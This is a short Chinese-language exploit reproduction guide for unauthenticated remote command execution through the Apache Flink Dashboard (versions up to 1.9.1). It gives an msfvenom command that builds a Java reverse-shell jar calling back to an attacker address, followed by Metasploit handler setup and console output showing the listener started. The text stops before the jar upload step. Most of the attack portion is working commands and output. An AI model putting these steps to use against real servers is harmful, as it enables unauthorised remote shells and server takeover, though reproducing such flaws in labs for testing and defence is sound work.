Apache Flink未授权访问-远程代码命令执行-复现Apache Flink未授权访问-远程代码命令执行-复现一

Apache Flink未授权访问-远程代码命令执行-复现

一、漏洞简介

Apache Flink Dashboard默认没有用户权限认证。攻击者可以通过未授权的Flink Dashboard控制台，直接上传木马jar包，可远程执行任意系统命令获取服务器权限，风险极大。

二、影响版本

Apache Flink <= 1.9.1(最新版本)

三、漏洞复现

1、生成反弹jar包

msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar

2、msf设置监听

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/shell/reverse_tcp 
payload => java/shell/reverse_tcp
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (java/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set LHOST XX.XX.XX.XX
LHOST => XX.XX.XX.XX
msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on XX.XX.XX.XX:4444